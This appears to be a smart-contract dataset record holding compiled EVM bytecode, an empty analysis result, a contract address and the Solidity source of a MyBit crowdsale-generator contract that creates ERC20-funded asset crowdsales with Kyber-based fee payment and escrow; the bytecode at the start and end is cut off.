60381019061028b9190610f5b565b6107ad565b60405161029d9190611162565b60405180910390f35b6102c060048036038101906102bb9190610ed0565b6107cb565b6040516102cd91906112bf565b60405180910390f35b6060600380546102e590611423565b80601f016020809104026020016040519081016040528092919081815260200182805461031190611423565b801561035e5780601f106103335761010080835404028352916020019161035e565b820191906000526020600020905b81548152906001019060200180831161034157829003601f168201915b5050505050905090565b600061037c610375610852565b848461085a565b6001905092915050565b6000600254905090565b600061039d848484610a25565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e8610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045f9061121f565b60405180910390fd5b61048585610474610852565b85846104809190611367565b61085a565b60019150509392505050565b6000600a905090565b600061053c6104a7610852565b8484600160006104b5610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105379190611311565b61085a565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546105c790611423565b80601f01602080910402602001604051908101604052809291908181526020018280546105f390611423565b80156106405780601f1061061557610100808354040283529160200191610640565b820191906000526020600020905b81548152906001019060200180831161062357829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068b610852565b73ffffffffffffffffffffffffffffffffffffffff16146106ab57600080fd5b6106b58282610ca4565b5050565b600080600160006106c8610852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c9061129f565b60405180910390fd5b6107a2610790610852565b85858461079d9190611367565b61085a565b600191505092915050565b60006107c16107ba610852565b8484610a25565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c19061127f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610931906111df565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1891906112bf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c9061125f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc9061119f565b60405180910390fd5b610b10838383610e78565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d906111ff565b60405180910390fd5b8181610ba29190611367565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c329190611311565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c9691906112bf565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061123f565b60405180910390fd5b610d2082600083610e78565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d906111bf565b60405180910390fd5b8181610db29190611367565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e069190611367565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6b91906112bf565b60405180910390a3505050565b505050565b600081359050610e8c8161178b565b92915050565b600081359050610ea1816117a2565b92915050565b600060208284031215610eb957600080fd5b6000610ec784828501610e7d565b91505092915050565b60008060408385031215610ee357600080fd5b6000610ef185828601610e7d565b9250506020610f0285828601610e7d565b9150509250929050565b600080600060608486031215610f2157600080fd5b6000610f2f86828701610e7d565b9350506020610f4086828701610e7d565b9250506040610f5186828701610e92565b9150509250925092565b60008060408385031215610f6e57600080fd5b6000610f7c85828601610e7d565b9250506020610f8d85828601610e92565b9150509250929050565b610fa08161139b565b82525050565b610faf816113ad565b82525050565b6000610fc0826112f5565b610fca8185611300565b9350610fda8185602086016113f0565b610fe3816114b3565b840191505092915050565b6000610ffb602383611300565b9150611006826114c4565b604082019050919050565b600061101e602283611300565b915061102982611513565b604082019050919050565b6000611041602283611300565b915061104c82611562565b604082019050919050565b6000611064602683611300565b915061106f826115b1565b604082019050919050565b6000611087602883611300565b915061109282611600565b604082019050919050565b60006110aa602183611300565b91506110b58261164f565b604082019050919050565b60006110cd602583611300565b91506110d88261169e565b604082019050919050565b60006110f0602483611300565b91506110fb826116ed565b604082019050919050565b6000611113602583611300565b915061111e8261173c565b604082019050919050565b611132816113d9565b82525050565b611141816113e3565b82525050565b600060208201905061115c6000830184610f97565b92915050565b60006020820190506111776000830184610fa6565b92915050565b600060208201905081810360008301526111978184610fb5565b905092915050565b600060208201905081810360008301526111b881610fee565b9050919050565b600060208201905081810360008301526111d881611011565b9050919050565b600060208201905081810360008301526111f881611034565b9050919050565b6000602082019050818103600083015261121881611057565b9050919050565b600060208201905081810360008301526112388161107a565b9050919050565b600060208201905081810360008301526112588161109d565b9050919050565b60006020820190508181036000830152611278816110c0565b9050919050565b60006020820190508181036000830152611298816110e3565b9050919050565b600060208201905081810360008301526112b881611106565b9050919050565b60006020820190506112d46000830184611129565b92915050565b60006020820190506112ef6000830184611138565b92915050565b600081519050919050565b600082825260208201905092915050565b600061131c826113d9565b9150611327836113d9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561135c5761135b611455565b5b828201905092915050565b6000611372826113d9565b915061137d836113d9565b9250828210156113905761138f611455565b5b828203905092915050565b60006113a6826113b9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561140e5780820151818401526020810190506113f3565b8381111561141d576000848401525b50505050565b6000600282049050600182168061143b57607f821691505b6020821081141561144f5761144e611484565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6117948161139b565b811461179f57600080fd5b50565b6117ab816113d9565b81146117b657600080fd5b5056fea2646970667358221220f0307aaf110dbb3f481b85d44c51f7525d34a7c21c4f3a58b74187dc232742bc64736f6c63430008010033
{"success": true, "error": null, "results": {}}
1,796
0xaba9a1285b4f7a84790bd4a57d8cb45a6956fa3c
pragma solidity ^0.4.24; // submitted by dev-xu // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol // @title SafeMath: overflow/underflow checks // @notice Math operations with safety checks that throw on error library SafeMath { // @notice Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } // @notice Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } // @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } // @notice Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // @notice Returns fractional amount function getFractionalAmount(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return div(mul(_amount, _percentage), 100); } } // Database interface interface DBInterface { function setContractManager(address _contractManager) external; // --------------------Set Functions------------------------ function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; // -------------- Deletion Functions ------------------ function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; // ----------------Variable Getters--------------------- function uintStorage(bytes32 _key) external view returns (uint); function stringStorage(bytes32 _key) external view returns (string); function addressStorage(bytes32 _key) external view returns (address); function bytesStorage(bytes32 _key) external view returns (bytes); function bytes32Storage(bytes32 _key) external view returns (bytes32); function boolStorage(bytes32 _key) external view returns (bool); function intStorage(bytes32 _key) external view returns (bool); } contract Events { DBInterface public database; constructor(address _database) public{ database = DBInterface(_database); } function message(string _message) external onlyApprovedContract { emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin); } function transaction(string _message, address _from, address _to, uint _amount, address _token) external onlyApprovedContract { emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin); } function registration(string _message, address _account) external onlyApprovedContract { emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin); } function contractChange(string _message, address _account, string _name) external onlyApprovedContract { emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin); } function asset(string _message, string _uri, address _assetAddress, address _manager) external onlyApprovedContract { emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin); } function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount) external onlyApprovedContract { emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin); } function order(string _message, bytes32 _orderID, uint _amount, uint _price) external onlyApprovedContract { emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin); } function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account) external onlyApprovedContract { emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin); } function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account) external onlyApprovedContract { emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin); } function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum) external onlyApprovedContract { emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin); } //Generalized events event LogEvent(string message, bytes32 indexed messageID, address indexed origin); event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin); event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin); event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin); event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin); event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin); event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin); event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin); event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin); // -------------------------------------------------------------------------------------- // Caller must be registered as a contract through ContractManager.sol // -------------------------------------------------------------------------------------- modifier onlyApprovedContract() { require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender)))); _; } } // @notice Trade via the Kyber Proxy Contract interface KyberInterface { function getExpectedRate(address src, address dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function trade(address src, uint srcAmount, address dest, address destAddress, uint maxDestAmount,uint minConversionRate, address walletId) external payable returns(uint); } interface MinterInterface { function cloneToken(string _uri, address _erc20Address) external returns (address asset); function mintAssetTokens(address _assetAddress, address _receiver, uint256 _amount) external returns (bool); function changeTokenController(address _assetAddress, address _newController) external returns (bool); } interface CrowdsaleGeneratorERC20_ERC20 { function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } // @title A crowdsale generator contract // @author Kyle Dewhurst & Peter Phillips, Roy Xu, MyBit Foundation // @notice AssetManagers can initiate a crowdsale that accepts ERC20 tokens as payment here contract CrowdsaleGeneratorERC20 { using SafeMath for uint256; DBInterface private database; Events private events; KyberInterface private kyber; MinterInterface private minter; //CrowdsaleGeneratorERC20_ERC20Burner private burner; //uint constant scalingFactor = 10**32; // @notice This contract // @param: The address for the database contract used by this platform constructor(address _database, address _events, address _kyber) public{ database = DBInterface(_database); events = Events(_events); kyber = KyberInterface(_kyber); minter = MinterInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "Minter")))); } // @notice Do not send ether to this contract, this is for kyber exchange to get return // @dev After collecting listing fee in token, remaining ether gets refunded from kyber function() public payable { } // @notice AssetManagers can initiate a crowdfund for a new asset here // @dev the crowdsaleERC20 contract is granted rights to mint asset-tokens as it receives funding // @param (string) _assetURI = The location where information about the asset can be found // @param (uint) _fundingLength = The number of seconds this crowdsale is to go on for until it fails // @param (uint) _amountToRaise = The amount of tokens required to raise for the crowdsale to be a success // @param (uint) _assetManagerPerc = The percentage of the total revenue which is to go to the AssetManager if asset is a success // @param (address) _fundingToken = The ERC20 token to be used to fund the crowdsale (Operator must accept this token as payment) function createAssetOrderERC20(string _assetURI, string _ipfs, uint _fundingLength, uint _amountToRaise, uint _assetManagerPerc, uint _escrowAndFee, address _fundingToken, address _paymentToken) payable external { if(_paymentToken == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ require(msg.value == _escrowAndFee, "ETH amount is not matching with escrow needed."); } else { require(msg.value == 0, "ETH is not required when paying with token"); CrowdsaleGeneratorERC20_ERC20(_paymentToken).transferFrom(msg.sender, address(this), _escrowAndFee); } require(_amountToRaise >= 100, "Crowdsale goal is too small"); require((_assetManagerPerc + database.uintStorage(keccak256(abi.encodePacked("platform.percentage")))) < 100, "Manager percent need to be less than 100"); require(!database.boolStorage(keccak256(abi.encodePacked("asset.uri", _assetURI))), "Asset URI is not unique"); //Check that asset URI is unique uint escrow = processListingFee(_paymentToken, _escrowAndFee); address assetAddress = minter.cloneToken(_assetURI, _fundingToken); require(setCrowdsaleValues(assetAddress, _fundingLength, _amountToRaise), "Failed to set crowdsale values"); require(setAssetValues(assetAddress, _assetURI, _ipfs, msg.sender, _assetManagerPerc, _amountToRaise, _fundingToken), "Failed to set asset values"); //Lock escrow if (escrow > 0) { require(lockEscrowERC20(msg.sender, assetAddress, _paymentToken, _fundingToken, escrow), "Failed to lock ERC20 escrow"); } events.asset('Asset funding started', _assetURI, assetAddress, msg.sender); events.asset('New asset ipfs', _ipfs, assetAddress, msg.sender); } function updateIPFS(address _assetAddress, string _ipfs) external { require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)))); database.setString(keccak256(abi.encodePacked("asset.ipfs", _assetAddress)), _ipfs); events.asset('New asset ipfs', _ipfs, _assetAddress, msg.sender); } // @notice platform owners can destroy contract here function destroy() onlyOwner external { events.transaction('CrowdsaleGeneratorERC20 destroyed', address(this), msg.sender, address(this).balance, address(0)); selfdestruct(msg.sender); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Internal/ Private Functions ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function setCrowdsaleValues(address _assetAddress, uint _fundingLength, uint _amountToRaise) private returns (bool){ database.setUint(keccak256(abi.encodePacked("crowdsale.start", _assetAddress)), now); database.setUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)), now.add(_fundingLength)); database.setUint(keccak256(abi.encodePacked("crowdsale.goal", _assetAddress)), _amountToRaise); database.setUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)), _amountToRaise.mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))))).div(100)); return true; } function setAssetValues(address _assetAddress, string _assetURI, string _ipfs, address _assetManager, uint _assetManagerPerc, uint _amountToRaise, address _fundingToken) private returns (bool){ uint totalTokens = _amountToRaise.mul(100).div(uint(100).sub(_assetManagerPerc).sub(database.uintStorage(keccak256(abi.encodePacked("platform.percentage"))))); //database.setUint(keccak256(abi.encodePacked("asset.managerTokens", assetAddress)), _amountToRaise.mul(uint(100).mul(scalingFactor).div(uint(100).sub(_assetManagerPerc)).sub(scalingFactor)).div(scalingFactor)); database.setUint(keccak256(abi.encodePacked("asset.managerTokens", _assetAddress)), totalTokens.getFractionalAmount(_assetManagerPerc)); database.setUint(keccak256(abi.encodePacked("asset.platformTokens", _assetAddress)), totalTokens.getFractionalAmount(database.uintStorage(keccak256(abi.encodePacked("platform.percentage"))))); database.setAddress(keccak256(abi.encodePacked("asset.manager", _assetAddress)), _assetManager); database.setString(keccak256(abi.encodePacked("asset.ipfs", _assetAddress)), _ipfs); database.setBool(keccak256(abi.encodePacked("asset.uri", _assetURI)), true); //Set to ensure a unique asset URI return true; } function processListingFee(address _paymentTokenAddress, uint _fromAmount) private returns (uint) { // returns left amount uint listingFee = database.uintStorage(keccak256(abi.encodePacked("platform.listingFee"))); address listingFeeTokenAddress = database.addressStorage(keccak256(abi.encodePacked("platform.listingFeeToken"))); address platformFundsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.funds"))); uint usedAmount; uint balanceBefore; uint listingFeePaid; uint expectedRate; uint estimation; CrowdsaleGeneratorERC20_ERC20 paymentToken; if (_paymentTokenAddress != listingFeeTokenAddress) { //Convert the payment token into the listing fee token ( expectedRate, ) = kyber.getExpectedRate(listingFeeTokenAddress, _paymentTokenAddress, listingFee); estimation = expectedRate * listingFee / 0.8 ether; // giving slippage rate of 0.8 if(_paymentTokenAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ balanceBefore = address(this).balance; listingFeePaid = kyber.trade.value(estimation)(_paymentTokenAddress, estimation, listingFeeTokenAddress, platformFundsWallet, listingFee, 0, 0); usedAmount = balanceBefore - address(this).balance; // used eth by kyber for swapping with token } else { paymentToken = CrowdsaleGeneratorERC20_ERC20(_paymentTokenAddress); balanceBefore = paymentToken.balanceOf(address(this)); require(paymentToken.approve(address(kyber), estimation)); listingFeePaid = kyber.trade(_paymentTokenAddress, estimation, listingFeeTokenAddress, platformFundsWallet, listingFee, 0, 0); //Currently no minimum rate is set, so watch out for slippage! paymentToken.approve(address(kyber), 0); usedAmount = balanceBefore - paymentToken.balanceOf(address(this)); } } else { paymentToken = CrowdsaleGeneratorERC20_ERC20(_paymentTokenAddress); require(paymentToken.transfer(platformFundsWallet, listingFee), "Listing fee not paid"); usedAmount = listingFee; listingFeePaid = listingFee; } require(_fromAmount >= usedAmount && listingFeePaid >= listingFee, "Listing fee not paid"); return _fromAmount - usedAmount; } function lockEscrowERC20(address _assetManager, address _assetAddress, address _paymentTokenAddress, address _fundingTokenAddress, uint _amount) private returns (bool) { uint amount; bytes32 assetManagerEscrowID = keccak256(abi.encodePacked(_assetAddress, _assetManager)); address platformTokenAddress = database.addressStorage(keccak256(abi.encodePacked("platform.token"))); if(_paymentTokenAddress != platformTokenAddress){ //Convert the payment token into the platform token if(_paymentTokenAddress == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){ amount = kyber.trade.value(_amount)(_paymentTokenAddress, _amount, platformTokenAddress, address(this), 2**255, 0, 0); //Currently no minimum rate is set, so watch out for slippage! } else { CrowdsaleGeneratorERC20_ERC20 paymentToken = CrowdsaleGeneratorERC20_ERC20(_paymentTokenAddress); require(paymentToken.approve(address(kyber), _amount)); amount = kyber.trade(_paymentTokenAddress, _amount, platformTokenAddress, address(this), 2**255, 0, 0); //Currently no minimum rate is set, so watch out for slippage! } } else { amount = _amount; } require(CrowdsaleGeneratorERC20_ERC20(platformTokenAddress).transfer(database.addressStorage(keccak256(abi.encodePacked("contract", "EscrowReserve"))), amount)); database.setUint(keccak256(abi.encodePacked("asset.escrow", assetManagerEscrowID)), amount); events.escrow('Escrow locked', _assetAddress, assetManagerEscrowID, _assetManager, amount); return true; } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Modifiers ////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // @notice Sender must be a registered owner modifier onlyOwner { require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))), "Not owner"); _; } modifier checkRequirements { _; } }
0x60806040526004361061003d5763ffffffff60e060020a60003504166383197ef0811461003f578063a72c2d9c14610054578063f217caed14610091575b005b34801561004b57600080fd5b5061003d6100be565b61003d602460048035828101929082013591813591820191013560443560643560843560a435600160a060020a0360c43581169060e4351661031f565b34801561009d57600080fd5b5061003d60048035600160a060020a03169060248035908101910135610ca7565b600054604080517f6f776e6572000000000000000000000000000000000000000000000000000000602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061014c5780518252601f19909201916020918201910161012d565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156101ad57600080fd5b505af11580156101c1573d6000803e3d6000fd5b505050506040513d60208110156101d757600080fd5b5051151561022f576040805160e560020a62461bcd02815260206004820152600960248201527f4e6f74206f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152306024820181905233604483015231606482015260006084820181905260a06004830152602160a48301527f43726f776473616c6547656e657261746f7245524332302064657374726f796560c48301527f640000000000000000000000000000000000000000000000000000000000000060e48301529151600160a060020a03909316926342b425aa926101048084019391929182900301818387803b15801561030357600080fd5b505af1158015610317573d6000803e3d6000fd5b503392505050ff5b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156103c9573485146103c4576040805160e560020a62461bcd02815260206004820152602e60248201527f45544820616d6f756e74206973206e6f74206d61746368696e6720776974682060448201527f657363726f77206e65656465642e000000000000000000000000000000000000606482015290519081900360840190fd5b6104e0565b3415610445576040805160e560020a62461bcd02815260206004820152602a60248201527f455448206973206e6f74207265717569726564207768656e20706179696e672060448201527f7769746820746f6b656e00000000000000000000000000000000000000000000606482015290519081900360840190fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018790529051600160a060020a038516916323b872dd9160648083019260209291908290030181600087803b1580156104b357600080fd5b505af11580156104c7573d6000803e3d6000fd5b505050506040513d60208110156104dd57600080fd5b50505b6064871015610539576040805160e560020a62461bcd02815260206004820152601b60248201527f43726f776473616c6520676f616c20697320746f6f20736d616c6c0000000000604482015290519081900360640190fd5b600054604080517f706c6174666f726d2e70657263656e7461676500000000000000000000000000602080830191909152825180830360130181526033909201928390528151606494600160a060020a03169363a855d4ce9392909182918401908083835b602083106105bd5780518252601f19909201916020918201910161059e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561061e57600080fd5b505af1158015610632573d6000803e3d6000fd5b505050506040513d602081101561064857600080fd5b50518701106106c7576040805160e560020a62461bcd02815260206004820152602860248201527f4d616e616765722070657263656e74206e65656420746f206265206c6573732060448201527f7468616e20313030000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000546040517f61737365742e757269000000000000000000000000000000000000000000000060208201908152600160a060020a0390921691633b7bfda0918f918f916029018383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b6020831061075b5780518252601f19909201916020918201910161073c565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156107bc57600080fd5b505af11580156107d0573d6000803e3d6000fd5b505050506040513d60208110156107e657600080fd5b50511561083d576040805160e560020a62461bcd02815260206004820152601760248201527f417373657420555249206973206e6f7420756e69717565000000000000000000604482015290519081900360640190fd5b6108478386610fee565b9150600360009054906101000a9004600160a060020a0316600160a060020a031663dc111bbf8d8d876040518463ffffffff1660e060020a028152600401808060200183600160a060020a0316600160a060020a0316815260200182810382528585828181526020019250808284378201915050945050505050602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d602081101561090557600080fd5b50519050610914818989611976565b151561096a576040805160e560020a62461bcd02815260206004820152601e60248201527f4661696c656420746f207365742063726f776473616c652076616c7565730000604482015290519081900360640190fd5b6109dd818d8d8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508c8c8080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050338a8c8a611f2a565b1515610a33576040805160e560020a62461bcd02815260206004820152601a60248201527f4661696c656420746f207365742061737365742076616c756573000000000000604482015290519081900360640190fd5b6000821115610a9f57610a493382858786612840565b1515610a9f576040805160e560020a62461bcd02815260206004820152601b60248201527f4661696c656420746f206c6f636b20455243323020657363726f770000000000604482015290519081900360640190fd5b600160009054906101000a9004600160a060020a0316600160a060020a03166378576a918d8d84336040518563ffffffff1660e060020a02815260040180806020018060200185600160a060020a0316600160a060020a0316815260200184600160a060020a0316600160a060020a03168152602001838103835260158152602001807f41737365742066756e64696e6720737461727465640000000000000000000000815250602001838103825287878281815260200192508082843782019150509650505050505050600060405180830381600087803b158015610b8457600080fd5b505af1158015610b98573d6000803e3d6000fd5b50505050600160009054906101000a9004600160a060020a0316600160a060020a03166378576a918b8b84336040518563ffffffff1660e060020a02815260040180806020018060200185600160a060020a0316600160a060020a0316815260200184600160a060020a0316600160a060020a031681526020018381038352600e8152602001807f4e65772061737365742069706673000000000000000000000000000000000000815250602001838103825287878281815260200192508082843782019150509650505050505050600060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b50505050505050505050505050505050565b600054604080517f61737365742e6d616e6167657200000000000000000000000000000000000000602080830191909152600160a060020a03878116606060020a02602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b60208310610d365780518252601f199092019160209182019101610d17565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610d9757600080fd5b505af1158015610dab573d6000803e3d6000fd5b505050506040513d6020811015610dc157600080fd5b5051600160a060020a03163314610dd757600080fd5b600054604080517f61737365742e6970667300000000000000000000000000000000000000000000602080830191909152600160a060020a03878116606060020a02602a8401528351808403601e018152603e909301938490528251941693636e8995509